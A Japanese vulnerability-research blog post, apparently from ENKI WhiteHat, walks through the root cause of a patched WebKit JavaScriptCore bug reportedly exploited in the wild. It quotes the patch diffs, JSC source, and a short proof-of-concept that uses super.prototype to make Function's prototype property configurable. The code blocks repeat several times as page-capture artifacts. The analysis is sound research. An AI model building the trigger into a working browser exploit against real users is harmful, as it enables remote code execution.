今日表示しない

トップへ戻る

トップへ戻る

脆弱性研究

脆弱性研究

脆弱性研究

Clobber the world Safari

Clobber the world Safari

Clobber the world Safari

ENKI WhiteHat

ENKI WhiteHat

コンテンツ

コンテンツ

コンテンツ

イントロダクション

過去、Google V8やApple JavaScriptCoreなどの主要なJavaScriptエンジンは、JITコンパイラにおける多数のサイドエフェクトバグに悩まされていました。特にGoogleのV8 TyperシステムやAppleのAbstractInterpreter(AI)は問題が発生しやすい部分でした。しかし、これらの問題を修正するための多大な努力のおかげで、このような脆弱性を見つけることは非常に困難になっています。

WebKitのセキュリティアップデートを探している最中、私たちはAIに関連する興味深いバグの事例に遭遇しました。これは野生(in the wild)で悪用されていることも報告されています。

かなり古いバグであり、現在AppleはiOS 18のリリースを控えていますが、ブラウザセキュリティの研究者が目を通しておくべき事例であると考え、この事例の詳細な分析を共有します。

SafariのRCE(遠隔コード実行)の脆弱性

iOS 16.5.1向けには、CVE-2023–37450として知られる緊急セキュリティ対応(Rapid Security Update)があります。情報はこちらからご確認いただけます。

https://support.apple.com/en-us/HT213841

これが上記のパッチそのものであるかは定かではありませんが、これも悪用可能なRCE(リモートコード実行)の脆弱性です。パッチのコミットはこちらからご確認いただけます。

https://github.com/WebKit/WebKit/commit/1b0741f400ee2d31931ae30f2ddebe66e8fb0945

https://github.com/WebKit/WebKit/commit/39476b8c83f0ac6c9a06582e4d8e5aef0bb0a88f

修正

以前にこの問題を分析した時点では、一致するCVEの脆弱性を見つけることができませんでした。

そのため、上記のようにこれはCVE-2023–37450ではないかと推測していましたが、そうではないことが判明しました(教えてくださった @krzywix さん、ありがとうございます)。

これが何であったのかは依然として不明ですが、注目する価値は十分にあります。

根本原因分析

パッチのコミット自体が、バグそのものを非常に分かりやすく説明しています。これは、JSエンジンにおいて非常に一般的な脆弱性パターンである、プロパティアクセス機構のslow/fastパスに関するものです。

例を挙げて説明しましょう。

let o = {}
o.p1 = 0x1337;
o.p1;
let o = {}
o.p1 = 0x1337;
o.p1;
let o = {}
o.p1 = 0x1337;
o.p1;

上記の例では、o.p1 にはセキュリティ上の問題はありません。しかし、プロパティアクセス用のカスタムハンドラを追加することができます。

let o = {};
o.__defineGetter__("p1", () => {
    console.log("Getter is called");
})
let o = {};
o.__defineGetter__("p1", () => {
    console.log("Getter is called");
})
let o = {};
o.__defineGetter__("p1", () => {
    console.log("Getter is called");
})

最初の例とは異なり、p1 にアクセスすると、カスタムハンドラを呼び出してプロパティ値を取得できます。では、なぜこれがJSエンジンのセキュリティにとって有害なのでしょうか?それは、RuntimeとJITの両方のコンテキストにおけるJSエンジンの前提条件を破る可能性があるからです。この種の脆弱性における聖書(バイブル)は CVE-2016-4622 です。

とにかく、ここではパッチログの注目点に焦点を移しましょう。

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 32473bf2a38e..75916e3c1bfe 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1162,6 +1162,11 @@ void JSObject::enterDictionaryIndexingMode(VM& vm)

 void JSObject::notifyPresenceOfIndexedAccessors(VM& vm)
 {
+    if (UNLIKELY(isGlobalObject())) {
+        jsCast<JSGlobalObject*>(this)->globalThis()->notifyPresenceOfIndexedAccessors(vm);
+        return;
+    }
+
     if (mayInterceptIndexedAccesses())
         return;

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 1c33fffa9022..73a9e5e82a54 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -859,6 +859,18 @@ bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName property
     return putInlineFast(globalObject, propertyName, value, slot);
 }

+static bool canDefinePropertyOnReceiverFast(VM& vm, JSObject* receiver, PropertyName propertyName)
+{
+    switch (receiver->type()) {
+    case ArrayType:
+        return propertyName != vm.propertyNames->length;
+    case JSFunctionType:
+        return propertyName != vm.propertyNames->length && propertyName != vm.propertyNames->name && propertyName != vm.propertyNames->prototype;
+    default:
+        return false;
+    }
+}
+
 static NEVER_INLINE bool definePropertyOnReceiverSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, JSObject* receiver, bool shouldThrow)
 {
     VM& vm = globalObject->vm();
@@ -903,8 +915,8 @@ bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyNa
     if (receiver->type() == GlobalProxyType)
         receiver = jsCast<JSGlobalProxy*>(receiver)->target();

-    if (slot.isTaintedByOpaqueObject() || slot.context() == PutPropertySlot::ReflectSet) {
-        if (receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty)
+    if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {
+        if (!canDefinePropertyOnReceiverFast(vm, receiver, propertyName))
             return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
     }
diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 32473bf2a38e..75916e3c1bfe 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1162,6 +1162,11 @@ void JSObject::enterDictionaryIndexingMode(VM& vm)

 void JSObject::notifyPresenceOfIndexedAccessors(VM& vm)
 {
+    if (UNLIKELY(isGlobalObject())) {
+        jsCast<JSGlobalObject*>(this)->globalThis()->notifyPresenceOfIndexedAccessors(vm);
+        return;
+    }
+
     if (mayInterceptIndexedAccesses())
         return;

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 1c33fffa9022..73a9e5e82a54 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -859,6 +859,18 @@ bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName property
     return putInlineFast(globalObject, propertyName, value, slot);
 }

+static bool canDefinePropertyOnReceiverFast(VM& vm, JSObject* receiver, PropertyName propertyName)
+{
+    switch (receiver->type()) {
+    case ArrayType:
+        return propertyName != vm.propertyNames->length;
+    case JSFunctionType:
+        return propertyName != vm.propertyNames->length && propertyName != vm.propertyNames->name && propertyName != vm.propertyNames->prototype;
+    default:
+        return false;
+    }
+}
+
 static NEVER_INLINE bool definePropertyOnReceiverSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, JSObject* receiver, bool shouldThrow)
 {
     VM& vm = globalObject->vm();
@@ -903,8 +915,8 @@ bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyNa
     if (receiver->type() == GlobalProxyType)
         receiver = jsCast<JSGlobalProxy*>(receiver)->target();

-    if (slot.isTaintedByOpaqueObject() || slot.context() == PutPropertySlot::ReflectSet) {
-        if (receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty)
+    if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {
+        if (!canDefinePropertyOnReceiverFast(vm, receiver, propertyName))
             return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
     }
diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 32473bf2a38e..75916e3c1bfe 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1162,6 +1162,11 @@ void JSObject::enterDictionaryIndexingMode(VM& vm)

 void JSObject::notifyPresenceOfIndexedAccessors(VM& vm)
 {
+    if (UNLIKELY(isGlobalObject())) {
+        jsCast<JSGlobalObject*>(this)->globalThis()->notifyPresenceOfIndexedAccessors(vm);
+        return;
+    }
+
     if (mayInterceptIndexedAccesses())
         return;

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 1c33fffa9022..73a9e5e82a54 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -859,6 +859,18 @@ bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName property
     return putInlineFast(globalObject, propertyName, value, slot);
 }

+static bool canDefinePropertyOnReceiverFast(VM& vm, JSObject* receiver, PropertyName propertyName)
+{
+    switch (receiver->type()) {
+    case ArrayType:
+        return propertyName != vm.propertyNames->length;
+    case JSFunctionType:
+        return propertyName != vm.propertyNames->length && propertyName != vm.propertyNames->name && propertyName != vm.propertyNames->prototype;
+    default:
+        return false;
+    }
+}
+
 static NEVER_INLINE bool definePropertyOnReceiverSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, JSObject* receiver, bool shouldThrow)
 {
     VM& vm = globalObject->vm();
@@ -903,8 +915,8 @@ bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyNa
     if (receiver->type() == GlobalProxyType)
         receiver = jsCast<JSGlobalProxy*>(receiver)->target();

-    if (slot.isTaintedByOpaqueObject() || slot.context() == PutPropertySlot::ReflectSet) {
-        if (receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty)
+    if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {
+        if (!canDefinePropertyOnReceiverFast(vm, receiver, propertyName))
             return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
     }

理解するのはそれほど難しくありません。いくつかの注目すべきポイントがあります。

  1. グローバルオブジェクトに対してインデックス付きアクセサのチェックを追加しています。

  2. definePropertyによる、ArrayおよびFunctionタイプのlengthまたはprototypeプロパティの設定を禁止しています。

したがって、パッチログに基づくと、攻撃者は上記のような特定のプロパティが設定不可能(unconfigurable)であるというJSエンジンの前提を破ることができます。しかし、このバグを悪用することで、これらを設定可能(configurable)にすることができます。

これがどのようにして可能なのかを詳しく調べる前に、非常にシンプルなPoC(実証コード)があります。

class MyFunction extends Function {
    constructor() {
        super();
        super.prototype = 1;
    }
}

function test1() {
    const f = new MyFunction();
    f.__defineGetter__("prototype", () => {}); // should throw
}

function test2(i) {
    const f = new MyFunction();
    try { f.__defineGetter__("prototype", () => {}); } catch {}
    f.prototype.x = i; // should not crash
}
class MyFunction extends Function {
    constructor() {
        super();
        super.prototype = 1;
    }
}

function test1() {
    const f = new MyFunction();
    f.__defineGetter__("prototype", () => {}); // should throw
}

function test2(i) {
    const f = new MyFunction();
    try { f.__defineGetter__("prototype", () => {}); } catch {}
    f.prototype.x = i; // should not crash
}
class MyFunction extends Function {
    constructor() {
        super();
        super.prototype = 1;
    }
}

function test1() {
    const f = new MyFunction();
    f.__defineGetter__("prototype", () => {}); // should throw
}

function test2(i) {
    const f = new MyFunction();
    try { f.__defineGetter__("prototype", () => {}); } catch {}
    f.prototype.x = i; // should not crash
}

MDNによると、super は以下のように定義されています。

The super keyword is used to access properties on an object literal or class's [[Prototype]], or invoke a superclass's constructor.
...
The super keyword is used to access properties on an object literal or class's [[Prototype]], or invoke a superclass's constructor.
...
The super keyword is used to access properties on an object literal or class's [[Prototype]], or invoke a superclass's constructor.
...

super.prototype = 1 を実行すると、slow_path_put_by_id_with_this によって処理され、JSObject::putInlineSlow が呼び出されます。

// CommonSlowPaths.cpp
JSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this)
{
    BEGIN();
    auto bytecode = pc->as<OpPutByIdWithThis>();
    const Identifier& ident = codeBlock->identifier(bytecode.m_property);
    JSValue baseValue = GET_C(bytecode.m_base).jsValue();
    JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();
    JSValue putValue = GET_C(bytecode.m_value).jsValue();
    PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());
    baseValue.putInline(globalObject, ident, putValue, slot);
    END();
}

// CommonSlowPaths.cpp
JSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this)
{
    BEGIN();
    auto bytecode = pc->as<OpPutByIdWithThis>();
    const Identifier& ident = codeBlock->identifier(bytecode.m_property);
    JSValue baseValue = GET_C(bytecode.m_base).jsValue();
    JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();
    JSValue putValue = GET_C(bytecode.m_value).jsValue();
    PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());
    baseValue.putInline(globalObject, ident, putValue, slot);
    END();
}

// JSObject.cpp
bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    JSObject* obj = this;
    for (;;) {
        Structure* structure = obj->structure();
        if (obj != this && structure->typeInfo().overridesPut())
            RELEASE_AND_RETURN(scope, obj->methodTable()->put(obj, globalObject, propertyName, value, slot));

        bool hasProperty = false;
        unsigned attributes;
        PutValueFunc customSetter = nullptr;
        PropertyOffset offset = structure->get(vm, propertyName, attributes);  <-- [1]
        if (isValidOffset(offset)) {  <-- [2]
            hasProperty = true;
            if (attributes & PropertyAttribute::CustomAccessorOrValue)
                customSetter = jsCast<CustomGetterSetter*>(obj->getDirect(offset))->setter();
        } else if (structure->hasNonReifiedStaticProperties()) {  <-- [3]
            if (auto entry = structure->findPropertyHashEntry(propertyName)) {
                hasProperty = true;
                attributes = entry->value->attributes();

                // FIXME: Remove this after we stop defaulting to CustomValue in static hash tables.
                if (!(attributes & (PropertyAttribute::CustomAccessor | PropertyAttribute::BuiltinOrFunctionOrAccessorOrLazyPropertyOrConstant)))
                    attributes |= PropertyAttribute::CustomValue;

                if (attributes & PropertyAttribute::CustomAccessorOrValue)
                    customSetter = entry->value->propertyPutter();
            }
        }
        ...
        JSValue prototype = obj->getPrototype(vm, globalObject);  <-- [4]
        RETURN_IF_EXCEPTION(scope, false);
        if (prototype.isNull())
            break;
        obj = asObject(prototype);
    }
    ...
    if (UNLIKELY(isThisValueAltered(slot, this)))  <

// CommonSlowPaths.cpp
JSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this)
{
    BEGIN();
    auto bytecode = pc->as<OpPutByIdWithThis>();
    const Identifier& ident = codeBlock->identifier(bytecode.m_property);
    JSValue baseValue = GET_C(bytecode.m_base).jsValue();
    JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();
    JSValue putValue = GET_C(bytecode.m_value).jsValue();
    PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());
    baseValue.putInline(globalObject, ident, putValue, slot);
    END();
}

// CommonSlowPaths.cpp
JSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this)
{
    BEGIN();
    auto bytecode = pc->as<OpPutByIdWithThis>();
    const Identifier& ident = codeBlock->identifier(bytecode.m_property);
    JSValue baseValue = GET_C(bytecode.m_base).jsValue();
    JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();
    JSValue putValue = GET_C(bytecode.m_value).jsValue();
    PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());
    baseValue.putInline(globalObject, ident, putValue, slot);
    END();
}

// JSObject.cpp
bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    JSObject* obj = this;
    for (;;) {
        Structure* structure = obj->structure();
        if (obj != this && structure->typeInfo().overridesPut())
            RELEASE_AND_RETURN(scope, obj->methodTable()->put(obj, globalObject, propertyName, value, slot));

        bool hasProperty = false;
        unsigned attributes;
        PutValueFunc customSetter = nullptr;
        PropertyOffset offset = structure->get(vm, propertyName, attributes);  <-- [1]
        if (isValidOffset(offset)) {  <-- [2]
            hasProperty = true;
            if (attributes & PropertyAttribute::CustomAccessorOrValue)
                customSetter = jsCast<CustomGetterSetter*>(obj->getDirect(offset))->setter();
        } else if (structure->hasNonReifiedStaticProperties()) {  <-- [3]
            if (auto entry = structure->findPropertyHashEntry(propertyName)) {
                hasProperty = true;
                attributes = entry->value->attributes();

                // FIXME: Remove this after we stop defaulting to CustomValue in static hash tables.
                if (!(attributes & (PropertyAttribute::CustomAccessor | PropertyAttribute::BuiltinOrFunctionOrAccessorOrLazyPropertyOrConstant)))
                    attributes |= PropertyAttribute::CustomValue;

                if (attributes & PropertyAttribute::CustomAccessorOrValue)
                    customSetter = entry->value->propertyPutter();
            }
        }
        ...
        JSValue prototype = obj->getPrototype(vm, globalObject);  <-- [4]
        RETURN_IF_EXCEPTION(scope, false);
        if (prototype.isNull())
            break;
        obj = asObject(prototype);
    }
    ...
    if (UNLIKELY(isThisValueAltered(slot, this)))  <

// CommonSlowPaths.cpp
JSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this)
{
    BEGIN();
    auto bytecode = pc->as<OpPutByIdWithThis>();
    const Identifier& ident = codeBlock->identifier(bytecode.m_property);
    JSValue baseValue = GET_C(bytecode.m_base).jsValue();
    JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();
    JSValue putValue = GET_C(bytecode.m_value).jsValue();
    PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());
    baseValue.putInline(globalObject, ident, putValue, slot);
    END();
}

// CommonSlowPaths.cpp
JSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this)
{
    BEGIN();
    auto bytecode = pc->as<OpPutByIdWithThis>();
    const Identifier& ident = codeBlock->identifier(bytecode.m_property);
    JSValue baseValue = GET_C(bytecode.m_base).jsValue();
    JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();
    JSValue putValue = GET_C(bytecode.m_value).jsValue();
    PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());
    baseValue.putInline(globalObject, ident, putValue, slot);
    END();
}

// JSObject.cpp
bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    JSObject* obj = this;
    for (;;) {
        Structure* structure = obj->structure();
        if (obj != this && structure->typeInfo().overridesPut())
            RELEASE_AND_RETURN(scope, obj->methodTable()->put(obj, globalObject, propertyName, value, slot));

        bool hasProperty = false;
        unsigned attributes;
        PutValueFunc customSetter = nullptr;
        PropertyOffset offset = structure->get(vm, propertyName, attributes);  <-- [1]
        if (isValidOffset(offset)) {  <-- [2]
            hasProperty = true;
            if (attributes & PropertyAttribute::CustomAccessorOrValue)
                customSetter = jsCast<CustomGetterSetter*>(obj->getDirect(offset))->setter();
        } else if (structure->hasNonReifiedStaticProperties()) {  <-- [3]
            if (auto entry = structure->findPropertyHashEntry(propertyName)) {
                hasProperty = true;
                attributes = entry->value->attributes();

                // FIXME: Remove this after we stop defaulting to CustomValue in static hash tables.
                if (!(attributes & (PropertyAttribute::CustomAccessor | PropertyAttribute::BuiltinOrFunctionOrAccessorOrLazyPropertyOrConstant)))
                    attributes |= PropertyAttribute::CustomValue;

                if (attributes & PropertyAttribute::CustomAccessorOrValue)
                    customSetter = entry->value->propertyPutter();
            }
        }
        ...
        JSValue prototype = obj->getPrototype(vm, globalObject);  <-- [4]
        RETURN_IF_EXCEPTION(scope, false);
        if (prototype.isNull())
            break;
        obj = asObject(prototype);
    }
    ...
    if (UNLIKELY(isThisValueAltered(slot, this)))  <

JSObjectにプロパティを設定する際、いくつかのチェックが行われます。

  1. [1]において、現在のJSObjectスコープにプロパティが存在するかどうかを確認します。存在する場合は PropertyOffset が返されます。JSCのJSEngineは、プロパティ情報を structure オブジェクトに格納します。structure オブジェクトには、m_seenPropertiesm_propertyTableUnsafe という2つの重要なメンバーがあります。[2]で有効な PropertyOffset が返された場合、CustomAccessorReadOnly などの現在のオフセットの属性をチェックします。

  2. プロパティがプロパティテーブルに存在しない場合、[3]で現在のプロパティが静的プロパティテーブル由来のものかどうかを確認します。簡単な例は、以下のリンクで確認できます。

  1. [4]において、上記のケースがすべて失敗した場合、JSObjectのプロトタイプチェーンを辿り、[1]からプロパティの探索を再開します。

プロパティが見つからない場合、プロパティを新規として定義しようと試みます。[5]では、isThisValueAltered の結果に基づき、definePropertyOnReceiver または putInlineFast を呼び出します。

ここで思い出すべきは、JSObject::putInlineSlow に入る前に、JSC Runtimeが slow_path_put_by_id_with_this 内でいくつかのベースとなるJSValueを作成することです。これらは isThisValueAltered において非常に重要であるため、それぞれのJSValueを把握しておく必要があります。

  • baseValue

  • thisVal

  • putValue

baseValueFunction.prototype または Function.__proto__ を表します。thisValue はコンストラクタのコンテキストにおける this を表します。今回の例では putValue1 です。

ALWAYS_INLINE bool isThisValueAltered(const PutPropertySlot& slot, JSObject* baseObject)
{
    JSValue thisValue = slot.thisValue();
    if (LIKELY(thisValue == baseObject))
        return false;

if (!thisValue.isObject())
        return true;
    JSObject* thisObject = asObject(thisValue);
    // Only GlobalProxyType can be seen as the same to the original target object.
    if (thisObject->type() == GlobalProxyType && jsCast<JSGlobalProxy*>(thisObject)->target() == baseObject)
        return false;
    return true;
}
ALWAYS_INLINE bool isThisValueAltered(const PutPropertySlot& slot, JSObject* baseObject)
{
    JSValue thisValue = slot.thisValue();
    if (LIKELY(thisValue == baseObject))
        return false;

if (!thisValue.isObject())
        return true;
    JSObject* thisObject = asObject(thisValue);
    // Only GlobalProxyType can be seen as the same to the original target object.
    if (thisObject->type() == GlobalProxyType && jsCast<JSGlobalProxy*>(thisObject)->target() == baseObject)
        return false;
    return true;
}
ALWAYS_INLINE bool isThisValueAltered(const PutPropertySlot& slot, JSObject* baseObject)
{
    JSValue thisValue = slot.thisValue();
    if (LIKELY(thisValue == baseObject))
        return false;

if (!thisValue.isObject())
        return true;
    JSObject* thisObject = asObject(thisValue);
    // Only GlobalProxyType can be seen as the same to the original target object.
    if (thisObject->type() == GlobalProxyType && jsCast<JSGlobalProxy*>(thisObject)->target() == baseObject)
        return false;
    return true;
}

したがって、thisValuebaseObject が異なるため、isThisValueAltered は真(true)を返し、definePropertyOnReceiver へと移行します。JSObject::definePropertyOnReceiver では、プロパティ探索ルーチンと同様に、スローパス(slow path)を取るためのいくつかのチェックが行われます。

// <https://tc39.es/ecma262/#sec-ordinaryset> (step 3)
bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    ASSERT(!parseIndex(propertyName));

VM& vm = globalObject->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
    JSObject* receiver = slot.thisValue().getObject();
    // FIXME: For a failure due to primitive receiver, the error message is misleading.
    if (!receiver)
        return typeError(globalObject, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
    scope.release();
    if (receiver->type() == GlobalProxyType)
        receiver = jsCast<JSGlobalProxy*>(receiver)->target();
    if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {
        if (mightBeSpecialProperty(vm, receiver->type(), propertyName.uid()))
            return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
    }
    if (receiver->structure()->hasAnyKindOfGetterSetterProperties()) {
        unsigned attributes;
        if (receiver->getDirectOffset(vm, propertyName, attributes) != invalidOffset && (attributes & PropertyAttribute::CustomValue))
            return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
    }
    if (UNLIKELY(receiver->hasNonReifiedStaticProperties()))
        return receiver->putInlineFastReplacingStaticPropertyIfNeeded(globalObject, propertyName, value, slot);
    return receiver->putInlineFast(globalObject, propertyName, value, slot);
}
// <https://tc39.es/ecma262/#sec-ordinaryset> (step 3)
bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    ASSERT(!parseIndex(propertyName));

VM& vm = globalObject->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
    JSObject* receiver = slot.thisValue().getObject();
    // FIXME: For a failure due to primitive receiver, the error message is misleading.
    if (!receiver)
        return typeError(globalObject, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
    scope.release();
    if (receiver->type() == GlobalProxyType)
        receiver = jsCast<JSGlobalProxy*>(receiver)->target();
    if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {
        if (mightBeSpecialProperty(vm, receiver->type(), propertyName.uid()))
            return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
    }
    if (receiver->structure()->hasAnyKindOfGetterSetterProperties()) {
        unsigned attributes;
        if (receiver->getDirectOffset(vm, propertyName, attributes) != invalidOffset && (attributes & PropertyAttribute::CustomValue))
            return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
    }
    if (UNLIKELY(receiver->hasNonReifiedStaticProperties()))
        return receiver->putInlineFastReplacingStaticPropertyIfNeeded(globalObject, propertyName, value, slot);
    return receiver->putInlineFast(globalObject, propertyName, value, slot);
}
// <https://tc39.es/ecma262/#sec-ordinaryset> (step 3)
bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    ASSERT(!parseIndex(propertyName));

VM& vm = globalObject->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
    JSObject* receiver = slot.thisValue().getObject();
    // FIXME: For a failure due to primitive receiver, the error message is misleading.
    if (!receiver)
        return typeError(globalObject, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
    scope.release();
    if (receiver->type() == GlobalProxyType)
        receiver = jsCast<JSGlobalProxy*>(receiver)->target();
    if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {
        if (mightBeSpecialProperty(vm, receiver->type(), propertyName.uid()))
            return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
    }
    if (receiver->structure()->hasAnyKindOfGetterSetterProperties()) {
        unsigned attributes;
        if (receiver->getDirectOffset(vm, propertyName, attributes) != invalidOffset && (attributes & PropertyAttribute::CustomValue))
            return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
    }
    if (UNLIKELY(receiver->hasNonReifiedStaticProperties()))
        return receiver->putInlineFastReplacingStaticPropertyIfNeeded(globalObject, propertyName, value, slot);
    return receiver->putInlineFast(globalObject, propertyName, value, slot);
}

正しい receiver を取得するために、receiver の型が GlobalProxyType であるかどうかをチェックします。

  1. receiver が何らかの種類の GetterSetter を持っているかどうかをチェックします。

どれも一致しないため、プロパティを設定するファストパス(fast path)に到達します。静的プロパティテーブルが存在しないため、JSObject::putInlineFast が呼び出されます。

ALWAYS_INLINE bool JSObject::putInlineFast(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    VM& vm = getVM(globalObject);
    auto scope = DECLARE_THROW_SCOPE(vm);

auto error = putDirectInternal<PutModePut>(vm, propertyName, value, 0, slot);
    if (!error.isNull())
        return typeError(globalObject, scope, slot.isStrictMode(), error);
    return true;
}
template<JSObject::PutMode mode>
ALWAYS_INLINE ASCIILiteral JSObject::putDirectInternal(VM& vm, PropertyName propertyName, JSValue value, unsigned newAttributes, PutPropertySlot& slot)
{
    ...
    StructureID structureID = this->structureID();
    Structure* structure = structureID.decode();
    if (structure->isDictionary()) {
        ...
    }
    ...
    unsigned currentAttributes;
    PropertyOffset offset = structure->get(vm, propertyName, currentAttributes);
    if (offset != invalidOffset) {
        ...
    }
    ...
    // We want the structure transition watchpoint to fire after this object has switched structure.
    // This allows adaptive watchpoints to observe if the new structure is the one we want.
    DeferredStructureTransitionWatchpointFire deferredWatchpointFire(vm, structure);
    Structure* newStructure = Structure::addNewPropertyTransition(vm, structure, propertyName, newAttributes, offset, slot.context(), &deferredWatchpointFire);
    ...
    size_t oldCapacity = structure->outOfLineCapacity();
    size_t newCapacity = newStructure->outOfLineCapacity();
    ...
    if (oldCapacity != newCapacity) {
        Butterfly* newButterfly = allocateMoreOutOfLineStorage(vm, oldCapacity, newCapacity);
        nukeStructureAndSetButterfly(vm, structureID, newButterfly);
    }
    ...
    putDirectOffset(vm, offset, value);
    setStructure(vm, newStructure);
    slot.setNewProperty(this, offset);
    if (newAttributes & PropertyAttribute::ReadOnly)
        newStructure->setContainsReadOnlyProperties();
    if (UNLIKELY(mayBePrototype()))
        vm.invalidateStructureChainIntegrity(VM::StructureChainIntegrityEvent::Add);
    return { };
ALWAYS_INLINE bool JSObject::putInlineFast(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    VM& vm = getVM(globalObject);
    auto scope = DECLARE_THROW_SCOPE(vm);

auto error = putDirectInternal<PutModePut>(vm, propertyName, value, 0, slot);
    if (!error.isNull())
        return typeError(globalObject, scope, slot.isStrictMode(), error);
    return true;
}
template<JSObject::PutMode mode>
ALWAYS_INLINE ASCIILiteral JSObject::putDirectInternal(VM& vm, PropertyName propertyName, JSValue value, unsigned newAttributes, PutPropertySlot& slot)
{
    ...
    StructureID structureID = this->structureID();
    Structure* structure = structureID.decode();
    if (structure->isDictionary()) {
        ...
    }
    ...
    unsigned currentAttributes;
    PropertyOffset offset = structure->get(vm, propertyName, currentAttributes);
    if (offset != invalidOffset) {
        ...
    }
    ...
    // We want the structure transition watchpoint to fire after this object has switched structure.
    // This allows adaptive watchpoints to observe if the new structure is the one we want.
    DeferredStructureTransitionWatchpointFire deferredWatchpointFire(vm, structure);
    Structure* newStructure = Structure::addNewPropertyTransition(vm, structure, propertyName, newAttributes, offset, slot.context(), &deferredWatchpointFire);
    ...
    size_t oldCapacity = structure->outOfLineCapacity();
